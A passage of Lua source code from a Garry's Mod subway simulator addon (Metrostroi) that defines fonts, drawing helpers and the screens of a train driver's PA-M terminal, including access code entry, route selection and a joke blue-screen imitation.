shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM20", {
font = "Arial",
size = 20,
weight = 400,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM1_20", {
font = "Arial",
size = 20,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM15", {
font = "Arial",
size = 15,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM24", {
font = "Arial",
size = 24,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM22", {
font = "Arial",
size = 22,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM28", {
font = "Arial",
size = 28,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAM80", {
font = "Arial",
size = 80,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
surface.CreateFont("Metrostroi_PAMBSOD", {
font = "Trebuchet",
size = 13,
weight = 800,
blursize = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
extended = true,
})
function Metrostroi.DrawLine(x1,y1,x2,y2,col,sz)
surface.SetDrawColor(col)
if x1 == x2 then
-- vertical line
local wid = (sz or 1) / 2
surface.DrawRect(x1-wid, y1, wid*2, y2-y1)
elseif y1 == y2 then
-- horizontal line
local wid = (sz or 1) / 2
surface.DrawRect(x1, y1-wid, x2-x1, wid*2)
else
-- other lines
local x3 = (x1 + x2) / 2
local y3 = (y1 + y2) / 2
local wx = math.sqrt((x2-x1) ^ 2 + (y2-y1) ^ 2)
local angle = math.deg(math.atan2(y1-y2, x2-x1))
draw.NoTexture()
surface.DrawTexturedRectRotated(x3, y3, wx, (sz or 1), angle)
end
end
local function rect_ol(x,y,w,h,c)
Metrostroi.DrawLine(x-1,y,x+w,y,c)
Metrostroi.DrawLine(x+w,y,x+w,y+h,c)
Metrostroi.DrawLine(x,y+h,x+w,y+h,c)
Metrostroi.DrawLine(x,y,x,y+h,c)
end
function Metrostroi.DrawRectOutline(x,y,w,h,col,sz)
local wid = sz or 1
if wid < 0 then
for i=0, wid+1, -1 do
rect_ol(x+i, y+i, w-2*i, h-2*i, col)
end
elseif wid > 0 then
for i=0, wid-1 do
rect_ol(x+i, y+i, w-2*i, h-2*i, col)
end
end
end
function Metrostroi.DrawRectOL(x,y,w,h,col,sz,col1)
local wid = sz or 1
if wid < 0 then
for i=0, wid+1, -1 do
rect_ol(x+i, y+i, w-2*i, h-2*i, col)
end
elseif wid > 0 then
for i=0, wid-1 do
rect_ol(x+i, y+i, w-2*i, h-2*i, col)
end
end
surface.SetDrawColor(col1)
surface.DrawRect(x+math.max(0,sz-1),y+math.max(0,sz-1),w-math.max(0,(sz-0.5)*2),h-math.max(0,(sz-0.5)*1.5))
end
function Metrostroi.DrawTextRect(x,y,w,h,col,mat)
surface.SetDrawColor(col)
surface.SetMaterial(mat)
surface.DrawTexturedRect(x,y,w,h)
end
function Metrostroi.DrawTextRectOL(x,y,w,h,col,mat,sz,col1)
local wid = sz or 1
if wid < 0 then
for i=0, wid+1, -1 do
rect_ol(x+i, y+i, w-2*i, h-2*i, col1)
end
elseif wid > 0 then
for i=0, wid-1 do
rect_ol(x+i, y+i, w-2*i, h-2*i, col1)
end
end
surface.SetDrawColor(col)
surface.DrawRect(x+math.max(0,sz-1),y+math.max(0,sz-1),w-math.max(0,(sz-0.5)*2),h-math.max(0,(sz-0.5)*1.5))
surface.SetDrawColor(Color(col.r - 40,col.g - 40,col.b - 40))
surface.SetMaterial(mat)
surface.DrawTexturedRect(x+math.max(0,sz-1),y+math.max(0,sz-1),w-math.max(0,(sz-0.5)*2),h-math.max(0,(sz-0.5)*2))
end
function TRAIN_SYSTEM:PAM(train)
local Announcer = self.Train.Announcer
surface.SetAlphaMultiplier(1)
draw.NoTexture()
if self.BlokEN ~= train:GetNW2Bool("BlokEN") then
self.BlokEN = train:GetNW2Bool("BlokEN")
if self.BlokEN then
self.Types=self.TypesEnglish
self.Questions=self.QuestionsEnglish
else
self.Types=self.TypesRussian
self.Questions=self.QuestionsRussian
end
end
if train:GetNW2Int("PAM:State",-1) ~= -1 then
surface.SetDrawColor(Color(225,225,225,2))
surface.DrawTexturedRect(0,0,512,427)
end
if train:GetNW2Int("PAM:State",-1) == -2 then
if not self.BSODTimer then self.BSODTimer = CurTime() end
surface.SetDrawColor(Color(0,0,172))
surface.DrawTexturedRect(0,19,512,389)
if CurTime() - self.BSODTimer > 1/32*1 then draw.SimpleText("A problem has been detected and PA-M has been shut down to prevent damage","Metrostroi_PAMBSOD",5, 25,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 2/32*1 then draw.SimpleText("to your train.","Metrostroi_PAMBSOD",5, 35,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 4/32*1 then draw.SimpleText("The problem seems to be caused by the following file: CORE.SYS","Metrostroi_PAMBSOD",5, 55,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 6/32*1 then draw.SimpleText("VISITED_BY_KEK_POLICE_ERROR","Metrostroi_PAMBSOD",5, 75,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 7/32*1 then draw.SimpleText("If this is the first time you've seen this Stop error screen","Metrostroi_PAMBSOD",5, 95,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 8/32*1 then draw.SimpleText("restart your computer. If this screen appears again, follow","Metrostroi_PAMBSOD",5, 105,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 9/32*1 then draw.SimpleText("these steps:","Metrostroi_PAMBSOD",5, 115,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 11/32*1 then draw.SimpleText("Check to make sure any new hardware or software is properly installed.","Metrostroi_PAMBSOD",5, 135,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 12/32*1 then draw.SimpleText("If this is a new installation, ask your hardware or software manufacturer","Metrostroi_PAMBSOD",5, 145,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 13/32*1 then draw.SimpleText("for any Windows updates you might need.","Metrostroi_PAMBSOD",5, 155,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 15/32*1 then draw.SimpleText("If problems continue, disable or remove any newly installed hardware","Metrostroi_PAMBSOD",5, 175,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 16/32*1 then draw.SimpleText("or software. Disable BIOS memory options such as caching or shadowing.","Metrostroi_PAMBSOD",5, 185,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 17/32*1 then draw.SimpleText("If you need to use Safe Mode to remove or disable components, restart","Metrostroi_PAMBSOD",5, 195,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 18/32*1 then draw.SimpleText("your computer, press F8 to select Advanced Startup Options, and then","Metrostroi_PAMBSOD",5, 205,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 19/32*1 then draw.SimpleText("select Safe Mode.","Metrostroi_PAMBSOD",5, 215,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 21/32*1 then draw.SimpleText("Technical information:","Metrostroi_PAMBSOD",5, 235,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 22/32*1 then draw.SimpleText("*** STOP: 0x0000000A (0x0000000C, 0x00000002, 0x00000000, 3311BACE)","Metrostroi_PAMBSOD",5, 255,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 25/32*1 then draw.SimpleText("*** autodrive.sys - Address 3311BACE base at 5721DAC7, Date Stamp 533acb25","Metrostroi_PAMBSOD",5, 285,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 27/32*1 then draw.SimpleText("Beginning dump of physical memory.","Metrostroi_PAMBSOD",5, 305,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 28/32*1 then draw.SimpleText("Physical memory dump complete.","Metrostroi_PAMBSOD",5, 315,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 29/32*1 then draw.SimpleText("Contact your system administrator or technical support group for further","Metrostroi_PAMBSOD",5, 325,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
if CurTime() - self.BSODTimer > 30/32*1 then draw.SimpleText("assistance.","Metrostroi_PAMBSOD",5, 335,Color(255,255,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER) end
else
if self.BSODTimer then self.BSODTimer = nil end
end
if train:GetNW2Int("PAM:State",-1) == 0 then
if CurTime()%0.4 > 0.2 then draw.SimpleText("_","Metrostroi_PAM30",5, 0,Color(150,150,150,255),TEXT_ALIGN_LEFT,TEXT_ALIGN_BOTTOM) end
end
if train:GetNW2Int("PAM:State",-1) == 2 then
surface.SetDrawColor(Color(0,0,255))
surface.SetMaterial( Material("vgui/gradient_down"))
surface.DrawTexturedRect(0,0,512,427)
surface.SetDrawColor(Color(255,255,255))
surface.SetMaterial( Material("vgui/gradient-d"))
surface.DrawTexturedRect(0,200,512,50)
surface.SetMaterial( Material("vgui/gradient-u"))
surface.DrawTexturedRect(0,250,512,50)
surface.SetDrawColor(Color(0,255,0))
surface.SetMaterial( Material("vgui/gradient-d"))
surface.DrawTexturedRect(0,200,512,227)
draw.SimpleText(self.T("НИИ Фабрики SENT"),"Metrostroi_PAM30",256, 100,Color(0,155,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Терминал машиниста (ПА-М)"),"Metrostroi_PAM30",256, 130,Color(0,155,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Int("PAM:State",-1) == 3 then
draw.SimpleText(self.T("НАЧАЛЬНЫЙ ТЕСТ ЗАКОНЧЕН"),"Metrostroi_PAM30",256, 30,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOutline(10, 80, 492, 210,Color(110,172,95),3)
surface.SetDrawColor(Color(2,2,2))
surface.DrawRect(17,70,180,20)
draw.SimpleText(self.T("РЕЗУЛЬТАТЫ"),"Metrostroi_PAM30",22, 80,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Начальный тест"),"Metrostroi_PAM30",60, 125,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("норма"),"Metrostroi_PAM30",480, 125,Color(110,172,95),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Начальная установка"),"Metrostroi_PAM30",60, 165,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("норма"),"Metrostroi_PAM30",480, 165,Color(110,172,95),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Версия ПО БЦВМ = 0.6"),"Metrostroi_PAM30",80, 245,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if not train:GetNW2Bool("PAM:RR",false) then
draw.SimpleText(self.T("Вставьте реверсивную рукоятку"),"Metrostroi_PAM30",10, 320,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
else
draw.SimpleText(self.T("Для ввода кода доступа"),"Metrostroi_PAM30",10, 320,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOutline(100, 345, 75, 30,Color(110,172,95),3 ,Color(230,230,230))
draw.SimpleText(self.T("нажми Enter"),"Metrostroi_PAM30",10, 360,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
end
end
if train:GetNW2Int("PAM:State",-1) == 4 then
--elf.Train:GetNW2Int("PAM:Pass",0) ~= -1 and string.rep("*",self.Train:GetNW2Int("PAM:Pass",0)) or "ACCESS ERROR"
Metrostroi.DrawRectOutline(10, 80, 492, 170,Color(110,172,95),3)
if train:GetNW2Int("PAM:Pass",0) == -1 then
draw.SimpleText(self.T("ОШИБКА ДОСТУПА"),"Metrostroi_PAM30",256, 160,Color(200,0,0,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
else
draw.SimpleText(self.T("Введи код доступа в систему"),"Metrostroi_PAM30",256, 130,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
if train:GetNW2Int("PAM:Pass",0) > 0 then
Metrostroi.DrawRectOutline(241 - train:GetNW2Int("PAM:Pass",0)*13, 165, 30 + train:GetNW2Int("PAM:Pass",0)*26, 40,Color(110,172,95),3,Color(230,230,230))
draw.SimpleText(string.rep("*",train:GetNW2Int("PAM:Pass",0)),"Metrostroi_PAM80",256, 200,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
end
Metrostroi.DrawRectOutline(190, 330, 135, 40,Color(110,172,95),3,Color(230,230,230) )
draw.SimpleText(self.T("Для ввода нажми"),"Metrostroi_PAM30",256, 300,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("ENTER"),"Metrostroi_PAM30",256, 350,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Int("PAM:State",-1) == 5 then
draw.SimpleText(self.T("Депо. Начальное меню."),"Metrostroi_PAM30",256, 30,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
--elf.Train:GetNW2Int("PAM:Pass",0) ~= -1 and string.rep("*",self.Train:GetNW2Int("PAM:Pass",0)) or "ACCESS ERROR"
Metrostroi.DrawRectOutline(10, 80, 492, 333,Color(110,172,95),3)
Metrostroi.DrawRectOL(40, 166 + (not train:GetNW2Bool("PAM:Restart") and 40 or 0), 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State5",1) == 1 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Выход на линию"),"Metrostroi_PAM30",60, 186 + (not train:GetNW2Bool("PAM:Restart") and 40 or 0),Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if train:GetNW2Bool("PAM:Restart") then
Metrostroi.DrawRectOL(40, 216, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State5",1) == 2 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Перезапуск"),"Metrostroi_PAM30",60, 236,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
end
end
if train:GetNW2Int("PAM:State",-1) == 6 then
local Line = self.Train:GetNW2Int("PAM:Line",0)
local FirstStation = self.Train:GetNW2Int("PAM:FirstStation",-1)
local LastStation = self.Train:GetNW2Int("PAM:LastStation",-1)
local RouteNumber = self.Train:GetNW2Int("PAM:RouteNumber",-1)
local tbl = Metrostroi.WorkingStations
draw.SimpleText(self.T("Ввод исходных данных"),"Metrostroi_PAM30",256, 30,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
--elf.Train:GetNW2Int("PAM:Pass",0) ~= -1 and string.rep("*",self.Train:GetNW2Int("PAM:Pass",0)) or "ACCESS ERROR"
Metrostroi.DrawRectOutline(10, 50, 492, 367,Color(110,172,95),3)
Metrostroi.DrawRectOL(40, 60, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 1 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Линия"),"Metrostroi_PAM30",45, 80,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(Line,"Metrostroi_PAM30",457, 80,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(40, 110, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 2 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Нач. ст."),"Metrostroi_PAM30",45, 130,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if tbl and tbl[Line] and tbl[Line][FirstStation] and Metrostroi.AnnouncerData[FirstStation] then
draw.SimpleText(Metrostroi.AnnouncerData[FirstStation][1]:sub(1,10).." "..FirstStation,"Metrostroi_PAM30",457, 130,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
elseif FirstStation ~= -1 then
draw.SimpleText(FirstStation,"Metrostroi_PAM30",457, 130,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
end
Metrostroi.DrawRectOL(40, 160, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 3 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Кон. ст."),"Metrostroi_PAM30",45, 180,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if tbl and tbl[Line] and tbl[Line][LastStation] and Metrostroi.AnnouncerData[LastStation] then
draw.SimpleText(Metrostroi.AnnouncerData[LastStation][1]:sub(1,10).." "..LastStation,"Metrostroi_PAM30",457, 180,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
elseif LastStation ~= -1 then
draw.SimpleText(LastStation,"Metrostroi_PAM30",457, 180,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
end
Metrostroi.DrawRectOL(40, 210, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 4 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Маршрут"),"Metrostroi_PAM30",45, 230,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if RouteNumber > -1 then draw.SimpleText(RouteNumber,"Metrostroi_PAM30",457, 230,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER) end
Metrostroi.DrawRectOL(40, 260, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 5 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Ввод данных"),"Metrostroi_PAM30",45, 280,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if train:GetNW2Bool("PAM:State6Error",false) then
Metrostroi.DrawRectOL(106, 125, 300, 150,Color(110,172,95),3,Color(180,180,180))
draw.SimpleText(self.T("Ошибка при"),"Metrostroi_PAM30",256, 150,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("вводе данных"),"Metrostroi_PAM30",256, 180,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(190, 220, 132, 40,Color(2,2,2),3,Color(220,220,220))
draw.SimpleText(self.T("ENTER"),"Metrostroi_PAM30",256, 240,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Int("PAM:State6",1) == 2 and tbl and tbl[Line] then
local i = 1
for k,v in pairs(tbl[Line]) do
if Metrostroi.AnnouncerData[v] and (tostring(v):find(FirstStation) or FirstStation == -1) then
i = i + 1
if i > 10 then break end
end
end
if i > 1 then
Metrostroi.DrawRectOL(80, 155, 391, -9 + i*22,Color(110,172,95),3,Color(230,230,230))
local i = 1
for k,v in pairs(tbl[Line]) do
if Metrostroi.AnnouncerData[v] and (tostring(v):find(FirstStation) or FirstStation == -1) then
if i < 10 then
draw.SimpleText(v,"Metrostroi_PAM30",86, 150+i*22,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(Metrostroi.AnnouncerData[v][1],"Metrostroi_PAM30",465, 150+i*22,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
else
draw.SimpleText("...","Metrostroi_PAM30",86, 150+i*22,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText("...","Metrostroi_PAM30",465, 150+i*22,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
end
i = i + 1
if i > 10 then break end
end
end
Metrostroi.DrawLine(140, 155, 140, 145 + i*22,Color(110,172,95),3)
end
end
if train:GetNW2Int("PAM:State6",1) == 3 and tbl and tbl[Line] then
local i = 1
for k,v in pairs(tbl[Line]) do
if Metrostroi.AnnouncerData[v] and (tostring(v):find(LastStation) or LastStation == -1) then
i = i + 1
if i > 9 then break end
end
end
if i > 1 then
Metrostroi.DrawRectOL(80, 205, 391, -9 + i*22,Color(110,172,95),3,Color(230,230,230))
local i = 1
for k,v in pairs(tbl[Line]) do
if Metrostroi.AnnouncerData[v] and (tostring(v):find(LastStation) or LastStation == -1) then
if i < 9 then
draw.SimpleText(v,"Metrostroi_PAM30",86, 200+i*22,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(Metrostroi.AnnouncerData[v][1],"Metrostroi_PAM30",465, 200+i*22,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
else
draw.SimpleText("...","Metrostroi_PAM30",86, 200+i*22,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText("...","Metrostroi_PAM30",465, 200+i*22,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
end
i = i + 1
if i > 9 then break end
end
end
Metrostroi.DrawLine(140, 205, 140, 195 + i*22,Color(110,172,95),3)
end
end
end
if train:GetNW2Int("PAM:State",-1) == 7 then
local Line = self.Train:GetNW2Int("PAM:Line",0)
local LastStation = self.Train:GetNW2Int("PAM:LastStation",-1)
local RouteNumber = self.Train:GetNW2Int("PAM:RouteNumber",-1)
local tbl = Metrostroi.WorkingStations
draw.SimpleText(self.T("Перезапуск"),"Metrostroi_PAM30",110, 30,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
--elf.Train:GetNW2Int("PAM:Pass",0) ~= -1 and string.rep("*",self.Train:GetNW2Int("PAM:Pass",0)) or "ACCESS ERROR"
Metrostroi.DrawRectOutline(10, 50, 492, 367,Color(110,172,95),3)
Metrostroi.DrawRectOL(40, 60, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 1 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Линия"),"Metrostroi_PAM30",45, 80,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(Line,"Metrostroi_PAM30",457, 80,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(40, 110, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 2 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Кон. ст."),"Metrostroi_PAM30",45, 130,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if tbl[Line] and tbl[Line][LastStation] and Metrostroi.AnnouncerData[LastStation] then
draw.SimpleText(Metrostroi.AnnouncerData[LastStation][1]:sub(1,10).." "..LastStation,"Metrostroi_PAM30",457, 130,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
elseif LastStation ~= -1 then
draw.SimpleText(LastStation,"Metrostroi_PAM30",457, 130,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
end
Metrostroi.DrawRectOL(40, 160, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 3 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Маршрут"),"Metrostroi_PAM30",45, 180,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if RouteNumber > -1 then draw.SimpleText(RouteNumber,"Metrostroi_PAM30",457, 180,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER) end
Metrostroi.DrawRectOL(40, 210, 432, 40,Color(110,172,95),3,train:GetNW2Int("PAM:State6",1) == 4 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Ввод данных"),"Metrostroi_PAM30",45, 230,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if train:GetNW2Bool("PAM:State6Error",false) then
Metrostroi.DrawRectOL(106, 125, 300, 150,Color(110,172,95),3,Color(180,180,180))
draw.SimpleText(self.T("Ошибка при"),"Metrostroi_PAM30",256, 150,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("вводе данных"),"Metrostroi_PAM30",256, 180,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(190, 220, 132, 40,Color(2,2,2),3,Color(220,220,220))
draw.SimpleText(self.T("ENTER"),"Metrostroi_PAM30",256, 240,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Int("PAM:State6",1) == 2 and tbl[Line] then
local i = 1
for k,v in pairs(tbl[Line]) do
if Metrostroi.AnnouncerData[v] and (tostring(v):find(LastStation) or LastStation == -1) then
i = i + 1
if i > 10 then break end
end
end
if i > 1 then
Metrostroi.DrawRectOL(80, 155, 391, -9 + i*22,Color(110,172,95),3,Color(230,230,230) )
local i = 1
for k,v in pairs(tbl[Line]) do
if Metrostroi.AnnouncerData[v] and (tostring(v):find(LastStation) or LastStation == -1) then
if i < 10 then
draw.SimpleText(v,"Metrostroi_PAM30",86, 150+i*22,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(Metrostroi.AnnouncerData[v][1],"Metrostroi_PAM30",465, 150+i*22,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
else
draw.SimpleText("...","Metrostroi_PAM30",86, 150+i*22,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText("...","Metrostroi_PAM30",465, 150+i*22,Color(2,2,2),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
end
i = i + 1
if i > 10 then break end
end
end
Metrostroi.DrawLine(140, 155, 140, 145 + i*22,Color(110,172,95),3)
end
end
end
if train:GetNW2Int("PAM:State",-1) == 8 then
draw.SimpleText(self.T("Проверка состава"),"Metrostroi_PAM30",10, 30,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("перед выходом на линию"),"Metrostroi_PAM30",10, 70,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
--elf.Train:GetNW2Int("PAM:Pass",0) ~= -1 and string.rep("*",self.Train:GetNW2Int("PAM:Pass",0)) or "ACCESS ERROR"
Metrostroi.DrawRectOutline(10, 100, 492, 210,Color(110,172,95),3)
draw.SimpleText(self.T("Для перехода в рабочий режим"),"Metrostroi_PAM30",60, 170,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOutline(240, 225, 100, 30,Color(110,172,95),3,Color(254,237,142))
draw.SimpleText(self.T("нажми ENTER"),"Metrostroi_PAM30",60, 240,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Проверка состава разрешена"),"Metrostroi_PAM30",256, 365,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Int("PAM:State",-1) == 9 then
local Line = train:GetNW2Int("PAM:Line",0)
local Path = train:GetNW2Int("PAM:Path",0)
local Station = tonumber(train:GetNW2Int("PAM:Station",0))
local LastStation = tonumber(train:GetNW2Int("PAM:LastStation",-1))
local S = Format("%.2f",train:GetNW2Float("PAM:Distance",0))
